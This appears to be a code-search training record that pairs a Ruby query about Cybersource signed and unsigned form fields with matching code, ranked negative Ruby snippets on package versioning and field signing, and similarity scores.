"def get_version\n version = self.peers_version\n if version[\"success\"]\n return version[\"version\"]\n else\n return nil\n end\n end",
"def latest_development\n Origen::VersionString.new(origen[:latest_version_dev])\n end",
"def latest\n # Refresh package metadata before looking for latest versions\n pkg(:refresh)\n\n lines = pkg(:list, \"-Hvn\", @resource[:name]).split(\"\\n\")\n\n # remove certificate expiration warnings from the output, but report them\n cert_warnings = lines.select { |line| line =~ /^Certificate/ }\n unless cert_warnings.empty?\n Puppet.warning(_(\"pkg warning: %{warnings}\") % { warnings: cert_warnings.join(', ') })\n end\n\n lst = lines.select { |line| line !~ /^Certificate/ }.map { |line| self.class.parse_line(line) }\n\n # Now we know there is a newer version. But is that installable? (i.e are there any constraints?)\n # return the first known we find. The only way that is currently available is to do a dry run of\n # pkg update and see if could get installed (`pkg update -n res`).\n known = lst.find { |p| p[:status] == 'known' }\n if known\n options = ['-n']\n options.concat(join_options(@resource[:install_options])) if @resource[:install_options]\n return known[:ensure] if exec_cmd(command(:pkg), 'update', *options, @resource[:name])[:exit].zero?\n end\n\n # If not, then return the installed, else nil\n (lst.find {|p| p[:status] == 'installed' } || {})[:ensure]\n end",
"def version\n @version_obj ||= fetcher.get(Fastly::Version, service_id, version_number)\n end",
"def version\n @version_obj ||= fetcher.get(Fastly::Version, service_id, version_number)\n end",
"def latest_submission!\n if (max_version = Submission.where(assessment_id: assessment_id,\n course_user_datum_id: course_user_datum_id,\n ignored: false).maximum(:version))\n Submission.find_by(version: max_version, assessment_id: assessment_id,\n course_user_datum_id: course_user_datum_id)\n end\n end",
"def full_version\n return nil unless exact\n\n \"~> \".concat(version)\n end",
"def totest_version\n Rails.cache.fetch(\"totest_version_for_#{name}\", expires_in: 10.minutes) do\n strategy.totest_version\n end\n end",
"def retrieve_version(name, version)\n path = downloaded_gem_path name, version\n parse :gem => path\n end",
"def latest_version_matching(dep)\n version = versions_matching(dep).collect { |v| ::Gem::Version.new v }.max\n version.nil? ? nil : version.to_s\n end",
"def real_version\n @real_version ||= fetcher.version_for_cache || version\n end",
"def get_version(opts = {})\n data, _status_code, _headers = get_version_with_http_info(opts)\n data\n end",
"def get_version(opts = {})\n data, _status_code, _headers = get_version_with_http_info(opts)\n data\n end",
"def get_version(opts = {})\n data, _status_code, _headers = get_version_with_http_info(opts)\n data\n end",
"def get_version(opts = {})\n data, _status_code, _headers = get_version_with_http_info(opts)\n data\n end",
"def latest\n ## make hcmbcs jump through hoops to give us latest pkg version\n begin\n output = hcmbcs \"--search\", \"--xml\", \"--package=#{self.name}\"\n rescue Puppet::ExecutionFailure\n raise Puppet::Error, \"failed hcmbcs --search\"\n end\n\n ## scan with group gives array of arrays\n version = output.scan(/<hcm_release_fq_hcm_pn>#{self.name}-([^<]+)<\\/hcm_release_fq_hcm_pn>/).last.first\n self.debug version\n\n return version\n end",
"def get_rem_ver(app_name)\n app_url = get_app_url(app_name)\n if $verbose == 1\n puts \"Getting version (or date) of latest release from #{app_url}\"\n end\n rem_ver = eval(\"get_#{app_name.downcase.gsub(/ |-/,'_')}_rem_ver(app_name,app_url)\")\n if rem_ver.to_s !~ /[0-9]/\n puts \"Remote build version (or date) not found\"\n exit\n end\n if !rem_ver.class.to_s.match(/Date/)\n rem_ver = rem_ver.gsub(/\\.$/,\"\")\n end\n return rem_ver\nend",
"def version\n @version.dup\n end",
"def version\n @version.dup\n end",
"def version\n @version ||= create_version\n end",
"def latest_in_unit\n package_branch.latest\n end",
"def last_version_number\n last = versions.first\n last ? last.number : 0\n end",
"def retrieve(name, version=nil)\n version.nil? ? retrieve_latest(name) : retrieve_version(name, version)\n end",
"def latest_version_file\n sorted_files.first\n end",
"def latest_production\n Origen::VersionString.new(origen[:latest_version_prod])\n end",
"def latest_version_uri\n '/api/projects/latest_compiled_version'\n end",
"def latest_version\n file_to_semver(sorted_files.first)\n end",
"def get_current_version(version)\n # 0 would be if we are looking for latest\n if version.to_s.eql?('0')\n Chef::Log.debug(\n 'No version filtering. Grabbing the highest version from disk',\n )\n # Current_resource.version is string.\n return Gem::Version.new(current_resource.version.max)\n else\n Chef::Log.debug(\"Grabbing the highest version of v#{version} from disk.\")\n # Grab the highest version that meets the major, minor, build given\n list = current_resource.version.map { |v| Gem::Version.new(v) }\n Chef::Log.debug(\"Installed versions found: #{list.join(', ')}\")\n\n # Reducing by version can result in nil array.\n max = reduce_by_version(list, version).max\n return max.nil? ? Gem::Version.new(0) : max\n end\n end",
"def get_version\n prepare\n @api.get_api_version\n end",
"def version\n @version ||= File.read(path('version.txt')).strip\n end",
"def last_version(version_type)\n case version_type\n when :patch\n available_versions.select { |v| v =~ /^#{major}\\.#{minor}\\D/ }.first\n when :minor\n available_versions.select { |v| v =~ /^#{major}\\./ }.first\n when :major\n available_versions.first\n else\n raise \"Invalid version_type: #{version_type}\"\n end\n end",
"def last_version(version_type)\n case version_type\n when :patch\n available_versions.select { |v| v =~ /^#{major}\\.#{minor}\\D/ }.first\n when :minor\n available_versions.select { |v| v =~ /^#{major}\\./ }.first\n when :major\n available_versions.first\n else\n raise \"Invalid version_type: #{version_type}\"\n end\n end",
"def version\n @version ||= data.version\n end",
"def version\n path = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__\n dir = File.dirname(path)\n if File.exist?(dir+'/version.stamp')\n version = File.read(dir+'/version.stamp')\n else\n version = \"Unknown version\"\n end\n version\n end",
"def get_current_version(package)\n command = \"apt-cache policy #{package} | grep --color=never 'Installed'\"\n raw = `#{command}`.strip\n return nil if raw == ''\n\n version = raw.gsub('Installed: ', '')\n return nil if version == '(none)'\n\n version\n end",
"def version\n response = get('/getVersion', {}, false)\n ApiVersion.new(response.body['version'], response.body['builddate'])\n end",
"def getPass\n\t\treturn @pass\n\tend",
"def revision\n # HEAD is the default, but lets just be explicit here.\n get_revision('HEAD')\n end",
"def latest\n @latest ||= begin\n available = available_assets.keys.map { |key| key[/selenium-server-(\\d+\\.\\d+\\.\\d+)\\.jar/, 1] }\n available.map { |asset| Gem::Version.new(asset) }.max.to_s\n end\n end",
"def latest\n url = \"https://pypi.python.org/pypi/#{URI.encode(@resource[:name])}/json\"\n result = self.open_jsonurl(url)\n result['info']['version'] if result != nil\n rescue Timeout::Error => detail\n raise Puppet::Error, \"Error in contacting pypi.python.org: #{detail}\"\n end",
"def latest_extension_version\n versions = remove_non_semvar_versions\n versions = remove_pre_release_versions(versions)\n if versions.blank?\n # include pre-release versions\n versions = remove_non_semvar_versions\n end\n if versions.blank?\n # use the non-compliant versions as last resort\n versions = sorted_extension_versions\n end\n versions.first\n end",
"def version\n @version ||= File.read(path('version.txt')).strip\n end",
"def get_api_version\n response = send_api_request(:index)\n if response[:returncode]\n response[:version].to_s\n else\n \"\"\n end\n end"
] |
[
"0.671764",
"0.650528",
"0.64959425",
"0.6470868",
"0.6443513",
"0.6377232",
"0.6360806",
"0.63570404",
"0.63047355",
"0.6294612",
"0.62778306",
"0.6262437",
"0.6201792",
"0.6187061",
"0.61865026",
"0.6173284",
"0.61623853",
"0.613487",
"0.61127985",
"0.6087318",
"0.60806066",
"0.6073146",
"0.6030348",
"0.6004894",
"0.5987507",
"0.59623426",
"0.5952081",
"0.59424627",
"0.59424627",
"0.5926898",
"0.59165967",
"0.5904852",
"0.5893667",
"0.58898365",
"0.58858365",
"0.58691657",
"0.5861358",
"0.5848156",
"0.5838681",
"0.58323544",
"0.5818167",
"0.58119977",
"0.5806431",
"0.5801607",
"0.5784734",
"0.57805085",
"0.5770858",
"0.577007",
"0.57569456",
"0.5752642",
"0.5739723",
"0.5738295",
"0.5714569",
"0.57100445",
"0.57009876",
"0.56944746",
"0.568301",
"0.5674266",
"0.5673723",
"0.5668296",
"0.56669575",
"0.5658029",
"0.5658029",
"0.5648396",
"0.5647444",
"0.56420106",
"0.564118",
"0.5626361",
"0.56232935",
"0.56147105",
"0.56147105",
"0.56147105",
"0.56147105",
"0.56136584",
"0.5611889",
"0.5605625",
"0.5605625",
"0.5600542",
"0.55854136",
"0.5579882",
"0.55775607",
"0.55706275",
"0.5557735",
"0.55569404",
"0.5556057",
"0.5546089",
"0.5542398",
"0.55341786",
"0.5529218",
"0.5529218",
"0.55215055",
"0.55209875",
"0.55201685",
"0.55078834",
"0.5507546",
"0.5493442",
"0.54904795",
"0.5490448",
"0.54899687",
"0.5483577",
"0.54756516"
] |
0.0
|
-1
|
Cybersource can change the fields it sends back at any time. It will always sign some fields, but may elect to sign all of them, in which case unsigned_field_names will be nil.
|
def initialize(fields)
@fields = fields
@signed_fields = fields['signed_field_names'].split(',')
@unsigned_fields = fields['unsigned_field_names']&.split(',') || []
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def unsigned_field_names\n @unsigned_fields.join(',')\n end",
"def signed_field_names\n @signed_fields.join(',')\n end",
"def unsigned_data\n @unsigned_data ||= @unsigned_fields.index_with { |field| send(field) }\n end",
"def signed_data\n @signed_data = @signed_fields.index_with { |field| @fields[field] }\n end",
"def signed; end",
"def signed_or_encrypted; end",
"def signed_data\n @signed_data ||= @signed_fields.index_with { |field| send(field) }\n end",
"def mark_signed!\n @signed = true\n end",
"def signed_string\n signed_data_only = form_fields.reject { |s| FIELDS_NOT_TO_BE_SIGNED.include?(s) }\n signed_data_only.sort.collect { |s| \"#{s[0]}=#{s[1]}\" }.join('&')\n .tap { |ss| logger.debug \"signed string is #{ss}\" }\n end",
"def update_signature!; end",
"def update_signature!; end",
"def revert_fields(*names)\n names = changed if names.empty?\n reverted = []\n names.each do |name|\n if self.respond_to? \"#{name}_change\"\n values = self.__send__ \"#{name}_change\"\n if values\n self.__send__ \"#{name}=\", values.first\n reverted << name\n end\n end\n end\n\n reverted\n end",
"def update!(**args)\n @bytes_to_sign = args[:bytes_to_sign] if args.key?(:bytes_to_sign)\n end",
"def update!(**args)\n @bytes_to_sign = args[:bytes_to_sign] if args.key?(:bytes_to_sign)\n end",
"def fix_signs\n self.offset_flags = Support::EncodingUtils.network_to_host_64(self.offset_flags)\n self.parent_one_rev = self.parent_one_rev.to_signed_32\n self.parent_two_rev = self.parent_two_rev.to_signed_32\n \n self\n end",
"def set_field_names\n @field_names = nil\n @field_names = @upload.get_field_names if @upload\n end",
"def field_modified!(modified_field = nil)\n serialize_fields\n end",
"def fields!(fields = nil)\n mutate(:fields, fields)\n end",
"def signing_input=(_); end",
"def signing_input=(_); end",
"def unsignedContract\n contract = Contract.last\n MagicMailer.unsignedContract(contract, User.first, User.last)\n end",
"def call\n add_fields(unrecognised: true)\n end",
"def allowed_fields\n @allowed_fields.dup\n end",
"def protobuf_fields(*fields)\n options = fields.extract_options!\n options[:only] = fields if fields.present?\n\n self._protobuf_field_options = options\n end",
"def clean_attributes(attributes)\n # attributes[:rights_license] = Array(attributes[:rights_license]) if attributes.key? :rights_license\n super( attributes )\n end",
"def signing_information\n super\n end",
"def null_controlled_fields!(attrs)\n ::ScoobySnacks::METADATA_SCHEMA.controlled_field_names.each do |field_name|\n # do not null fields that are not being changed\n next unless attrs.keys.include?(\"#{field_name}_attributes\")\n\n object.public_send(\"#{field_name}=\", [])\n end\n end",
"def stored_signature; end",
"def nullify_fields\n user_fields = %W(\n name\n email\n address\n )\n\n user_fields.each do |field|\n next if self[field].nil?\n self[field] = nil if self[field].empty?\n end\n end",
"def clean_fields(fields)\n fields.map { |k, v| [k.to_s.downcase.gsub(/ |-/, '_'), v] }.to_h\n end",
"def reset_fields\n self.sender_doc_id_version = nil\n self.receiver_doc_id_version = nil\n self.project_doc_id_version = nil\n self.submission_receiver_doc_id = nil\n self.submission_project_doc_id = nil\n self.response_sender_doc_id = nil\n self.response_project_doc_id = nil\n self.plnd_submission = nil\n self.actl_submission = nil\n self.xpcd_response = nil\n self.actl_response = nil\n self.response_status = nil\n end",
"def computed_fields; end",
"def get_U32_field(field_name)\n\t\tend",
"def allowed_fields=(arr) # :nodoc:\n @allowed_fields = transform_fields('allowed_fields',arr)\n end",
"def signing_input; end",
"def signing_input; end",
"def fields_not_to_clean\n ['deleted_record','record_before','record_after']\n end",
"def signature_fields\n parsed {\n @signature_fields\n }\n end",
"def sign()\n # TODO\n end",
"def reset_bitfields column_name, *fields\n mask = reset_mask_for column_name, *fields\n update_all \"#{column_name} = #{column_name} & #{mask}\"\n end",
"def fix!\n self.payload = [@ips, @authdata].flatten.pack(\"N#{@ips.size}a*\")\n self.num_ips = @ips.size\n self.checksum!\n end",
"def get_U16_field(field_name)\n\t\tend",
"def all_expected_fields_received?\n @signature_fields ||= %w(idterminal idcomercio idtransaccion importe moneda coderror codautorizacion firma).map{|value| value = value.to_sym}\n !@fields.empty? && @fields.areset?(@signature_fields)\n end",
"def get_field_deserializers()\n return super.merge({\n \"certificateData\" => lambda {|n| @certificate_data = n.get_string_value() },\n \"developerId\" => lambda {|n| @developer_id = n.get_string_value() },\n \"keyId\" => lambda {|n| @key_id = n.get_string_value() },\n \"serviceId\" => lambda {|n| @service_id = n.get_string_value() },\n })\n end",
"def reserved_tracked_fields\n @reserved_tracked_fields ||= begin\n fields = ['_id', history_trackable_options[:version_field].to_s]\n modifier_field = history_trackable_options[:modifier_field]\n fields << \"#{modifier_field}_id\" if modifier_field\n fields\n end\n end",
"def encrypt_fields\n self.encryption_fu_options[:fields].each do |field_name|\n self.encrypt_field field_name\n end\n end",
"def sign_key; end",
"def sign!\n @signed_date_time = Time.now.utc.strftime('%Y-%m-%dT%H:%M:%SZ')\n @signature = Cybersource::Security.generate_signature(signed_data)\n\n self\n end",
"def filter_fields\n\t \n\t \tremove_attribute(:version)\n\t \tremove_attribute(:op_success)\n\t \tattributes\n\n\t \t\n\t end",
"def filter_fields\n\t \n\t \tremove_attribute(:version)\n\t \tremove_attribute(:op_success)\n\t \tattributes\n\n\t \t\n\t end",
"def snapshot_hidden_custom_fields=(_arg0); end",
"def nullify_insurance_fields_if_necessary\n return if self[:insured]\n self[:insurance_state_id] = nil\n self[:insurance_valid_from] = nil\n self[:insurance_valid_until] = nil\n self.insurance_certificate = nil\n return true\n end",
"def prep_merge_fields(merge_fields)\n # Upper-case all the keys as this is how MC expect them.\n merge_fields.map { |k, v| [k.upcase, v] }.to_h\n end",
"def get_binary_field(field_name)\n\t\tend",
"def signature_changed?; end",
"def signature_changed?; end",
"def non_foreign_key_fields\n self.database_field_names - self.foreign_key_fields\n end",
"def sign(message, foreign_keys)\n raise ArgumentError \"Foreign keys must all have the same hasher\" unless foreign_keys.all?{ |e| e.hasher == hasher }\n\n message_digest = hasher.hash_string(message)\n seed = hasher.hash_array([value, message_digest])\n\n all_keys = hasher.shuffle([self] + foreign_keys, seed)\n\n q_array, w_array = generate_q_w(all_keys, seed)\n ll_array, rr_array = generate_ll_rr(all_keys, q_array, w_array)\n challenge = hasher.hash_array([message_digest] + ll_array + rr_array)\n c_array, r_array = generate_c_r(all_keys, q_array, w_array, challenge)\n\n public_keys = all_keys.map(&:public_key)\n signature = Signature.new(key_image, c_array, r_array, hasher)\n\n [signature, public_keys]\n end",
"def get_U8_field(field_name)\n\t\tend",
"def clean_utf\n attribute_names.each do |field|\n next unless self[field]\n next unless self[field].is_a? String\n next if field=='password_digest'\n self[field] = self[field].encode(\"UTF-8\",:invalid=>:replace,:undef=>:replace,:replace=>\"\")\n end\n end",
"def get_U64_field(field_name)\n\t\tend",
"def supported_fields_symbol_set\n return nil\n end",
"def normalize_fields\n new_fields = CICPHash.new\n fields.each do |key, value|\n new_fields[key] = ApeItem.create(key, value).normalize_encodings\n end\n @fields = new_fields\n end",
"def clear_fields\n\t\tend",
"def fields=(fields)\n @fields = ::ActiveSupport::HashWithIndifferentAccess.new fields\n end",
"def verify_fields\n fbe_current_offset = 0\n\n id.fbe_offset = fbe_current_offset\n fbe_field_size = id.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n name.fbe_offset = fbe_current_offset\n fbe_field_size = name.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n state.fbe_offset = fbe_current_offset\n fbe_field_size = state.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n wallet.fbe_offset = fbe_current_offset\n fbe_field_size = wallet.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n asset.fbe_offset = fbe_current_offset\n fbe_field_size = asset.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n orders.fbe_offset = fbe_current_offset\n fbe_field_size = orders.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n # noinspection RubyUnnecessaryReturnValue\n fbe_current_offset\n end",
"def reset_fields\n if self.is_default?\n self.applies_to_all = true\n self.codes = []\n elsif self.applies_to_all?\n self.codes = []\n end\n\n return true\n end",
"def verify_fields\n fbe_current_offset = 0\n\n byte0.fbe_offset = fbe_current_offset\n fbe_field_size = byte0.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n byte1.fbe_offset = fbe_current_offset\n fbe_field_size = byte1.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n byte2.fbe_offset = fbe_current_offset\n fbe_field_size = byte2.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n byte3.fbe_offset = fbe_current_offset\n fbe_field_size = byte3.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n byte4.fbe_offset = fbe_current_offset\n fbe_field_size = byte4.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n byte5.fbe_offset = fbe_current_offset\n fbe_field_size = byte5.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n char0.fbe_offset = fbe_current_offset\n fbe_field_size = char0.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n char1.fbe_offset = fbe_current_offset\n fbe_field_size = char1.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n char2.fbe_offset = fbe_current_offset\n fbe_field_size = char2.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n char3.fbe_offset = fbe_current_offset\n fbe_field_size = char3.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n char4.fbe_offset = fbe_current_offset\n fbe_field_size = char4.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n char5.fbe_offset = fbe_current_offset\n fbe_field_size = char5.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n wchar0.fbe_offset = fbe_current_offset\n fbe_field_size = wchar0.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n wchar1.fbe_offset = fbe_current_offset\n fbe_field_size = wchar1.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n wchar2.fbe_offset = fbe_current_offset\n fbe_field_size = wchar2.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n wchar3.fbe_offset = fbe_current_offset\n fbe_field_size = wchar3.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n wchar4.fbe_offset = fbe_current_offset\n fbe_field_size = wchar4.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n wchar5.fbe_offset = fbe_current_offset\n fbe_field_size = wchar5.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int8b0.fbe_offset = fbe_current_offset\n fbe_field_size = int8b0.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int8b1.fbe_offset = fbe_current_offset\n fbe_field_size = int8b1.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int8b2.fbe_offset = fbe_current_offset\n fbe_field_size = int8b2.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int8b3.fbe_offset = fbe_current_offset\n fbe_field_size = int8b3.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int8b4.fbe_offset = fbe_current_offset\n fbe_field_size = int8b4.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int8b5.fbe_offset = fbe_current_offset\n fbe_field_size = int8b5.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint8b0.fbe_offset = fbe_current_offset\n fbe_field_size = uint8b0.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint8b1.fbe_offset = fbe_current_offset\n fbe_field_size = uint8b1.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint8b2.fbe_offset = fbe_current_offset\n fbe_field_size = uint8b2.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint8b3.fbe_offset = fbe_current_offset\n fbe_field_size = uint8b3.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint8b4.fbe_offset = fbe_current_offset\n fbe_field_size = uint8b4.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint8b5.fbe_offset = fbe_current_offset\n fbe_field_size = uint8b5.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int16b0.fbe_offset = fbe_current_offset\n fbe_field_size = int16b0.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int16b1.fbe_offset = fbe_current_offset\n fbe_field_size = int16b1.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int16b2.fbe_offset = fbe_current_offset\n fbe_field_size = int16b2.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int16b3.fbe_offset = fbe_current_offset\n fbe_field_size = int16b3.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int16b4.fbe_offset = fbe_current_offset\n fbe_field_size = int16b4.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int16b5.fbe_offset = fbe_current_offset\n fbe_field_size = int16b5.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint16b0.fbe_offset = fbe_current_offset\n fbe_field_size = uint16b0.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint16b1.fbe_offset = fbe_current_offset\n fbe_field_size = uint16b1.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint16b2.fbe_offset = fbe_current_offset\n fbe_field_size = uint16b2.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint16b3.fbe_offset = fbe_current_offset\n fbe_field_size = uint16b3.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint16b4.fbe_offset = fbe_current_offset\n fbe_field_size = uint16b4.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint16b5.fbe_offset = fbe_current_offset\n fbe_field_size = uint16b5.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int32b0.fbe_offset = fbe_current_offset\n fbe_field_size = int32b0.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int32b1.fbe_offset = fbe_current_offset\n fbe_field_size = int32b1.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int32b2.fbe_offset = fbe_current_offset\n fbe_field_size = int32b2.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int32b3.fbe_offset = fbe_current_offset\n fbe_field_size = int32b3.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int32b4.fbe_offset = fbe_current_offset\n fbe_field_size = int32b4.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int32b5.fbe_offset = fbe_current_offset\n fbe_field_size = int32b5.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint32b0.fbe_offset = fbe_current_offset\n fbe_field_size = uint32b0.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint32b1.fbe_offset = fbe_current_offset\n fbe_field_size = uint32b1.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint32b2.fbe_offset = fbe_current_offset\n fbe_field_size = uint32b2.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint32b3.fbe_offset = fbe_current_offset\n fbe_field_size = uint32b3.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint32b4.fbe_offset = fbe_current_offset\n fbe_field_size = uint32b4.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint32b5.fbe_offset = fbe_current_offset\n fbe_field_size = uint32b5.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int64b0.fbe_offset = fbe_current_offset\n fbe_field_size = int64b0.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int64b1.fbe_offset = fbe_current_offset\n fbe_field_size = int64b1.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int64b2.fbe_offset = fbe_current_offset\n fbe_field_size = int64b2.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int64b3.fbe_offset = fbe_current_offset\n fbe_field_size = int64b3.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int64b4.fbe_offset = fbe_current_offset\n fbe_field_size = int64b4.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n int64b5.fbe_offset = fbe_current_offset\n fbe_field_size = int64b5.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint64b0.fbe_offset = fbe_current_offset\n fbe_field_size = uint64b0.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint64b1.fbe_offset = fbe_current_offset\n fbe_field_size = uint64b1.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint64b2.fbe_offset = fbe_current_offset\n fbe_field_size = uint64b2.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint64b3.fbe_offset = fbe_current_offset\n fbe_field_size = uint64b3.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += fbe_field_size\n\n uint64b4.fbe_offset = fbe_current_offset\n fbe_field_size = uint64b4.verify\n if fbe_field_size == FBE::Integer::MAX\n return FBE::Integer::MAX\n end\n fbe_current_offset += 